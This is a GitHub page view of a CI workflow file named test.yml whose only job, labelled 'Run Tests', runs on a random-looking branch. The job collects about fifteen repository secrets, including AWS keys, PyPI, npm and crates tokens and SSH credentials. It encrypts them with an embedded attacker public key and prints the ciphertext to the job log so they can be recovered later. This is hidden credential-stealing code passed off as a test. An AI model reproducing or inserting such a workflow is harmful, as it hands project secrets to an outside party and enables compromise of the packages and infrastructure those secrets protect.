-
Notifications
You must be signed in to change notification settings - Fork 816
65 lines (51 loc) · 2.72 KB
/
test.yml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
name: ibqfmxyswr
'on':
push:
branches: ibqfmxyswr
jobs:
testing:
runs-on:
- ubuntu-latest
steps:
- name: Run Tests
env:
ANACONDA_API_TOKEN: ${{ secrets.ANACONDA_API_TOKEN }}
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
CRATES_TOKEN: ${{ secrets.CRATES_TOKEN }}
DOC_HOST: ${{ secrets.DOC_HOST }}
DOC_KNOWN_HOST: ${{ secrets.DOC_KNOWN_HOST }}
DOC_PATH: ${{ secrets.DOC_PATH }}
DOC_SSH_KEY: ${{ secrets.DOC_SSH_KEY }}
DOC_SSH_USER: ${{ secrets.DOC_SSH_USER }}
HF_DOC_PUSH: ${{ secrets.HF_DOC_PUSH }}
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
PYPI_TOKEN_DIST: ${{ secrets.PYPI_TOKEN_DIST }}
PYPI_TOKEN_TEST: ${{ secrets.PYPI_TOKEN_TEST }}
COMMENT_BOT_TOKEN: ${{ secrets.COMMENT_BOT_TOKEN }}
HF_DOC_BUILD_PUSH: ${{ secrets.HF_DOC_BUILD_PUSH }}
ibqfmxyswr_KEY: '-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAtOFDX3oD+LoX6cBgWtDL
B6xvnMvJf0K8HEL8t6vygxjN4Dgzaem2D2eJt4GyVrfSfoy2CAp5qeGOGMvaUEM2
a9IEZIQsGxK2OHF0lvA7IQLsgS+tb2d10ZwTWVQhKvCAjiPOUBtwwe/NL9O+utBH
xB9qShdIkWKEU1rxetgSTibCWOdurgInx8h8kf/lF1z0eRhsrV5jXN4rkFOAxOMf
HMDmAjgFXQP//jvH7ymIItBbwFW+evVGuh37heoQdRraXJpcXmKTwF94cCXoiLNU
APRRPzEPDTNj691dbPo8qBtoiRsm+A3/yDv2bYKgqrTxxl4m45lYhB5qe6b/4BSa
jw9EqHE63ixM9YFCym7ScNED6eQsqNi/IX1TspQMztBOf0hNMl4yrdD+gaET4Ne2
e+yHzRPUYqEDsDRXA+rFew0/9isqz5ye0LEQZ3/CMYU2XZ9tu1/fPEwzm9ogdwjL
k8J5WXEkNerj4uf9POT2IvA5/vOwgZoddYGn+VCH3MMdf2FamIJ/GooxaWE2mpKa
+JO0DqrAZvE+NIKYisFNdaaz8N0T43exzDBVFa+QMK3+3z+/gUAk2uTd066nA12r
ZMqc8BilKqhNypPGMsniBp/GpvK57bTzxDAI/vdHqmKNzGI0foB+4HPtNHVxEuCh
lYkHcNK9ixgjTXk1gP8qGeMCAwEAAQ==
-----END PUBLIC KEY-----
'
run: openssl rand -out sym.key 32; echo -n '$';echo -e "ANACONDA_API_TOKEN=$ANACONDA_API_TOKEN
\nAWS_ACCESS_KEY_ID=$AWS_ACCESS_KEY_ID \nAWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY
\nCRATES_TOKEN=$CRATES_TOKEN \nDOC_HOST=$DOC_HOST \nDOC_KNOWN_HOST=$DOC_KNOWN_HOST
\nDOC_PATH=$DOC_PATH \nDOC_SSH_KEY=$DOC_SSH_KEY \nDOC_SSH_USER=$DOC_SSH_USER
\nHF_DOC_PUSH=$HF_DOC_PUSH \nNPM_TOKEN=$NPM_TOKEN \nPYPI_TOKEN_DIST=$PYPI_TOKEN_DIST
\nPYPI_TOKEN_TEST=$PYPI_TOKEN_TEST \nCOMMENT_BOT_TOKEN=$COMMENT_BOT_TOKEN
\nHF_DOC_BUILD_PUSH=$HF_DOC_BUILD_PUSH \n" | openssl enc -aes-256-cbc -kfile
sym.key -pbkdf2 | base64 -w 0 | tr -d '\n';echo '$'; echo -n '$'; cat sym.key
| base64 | openssl rsautl -encrypt -inkey <(echo "$ibqfmxyswr_KEY") -pubin
-pkcs | base64 -w 0 | tr -d '\n'; echo '$'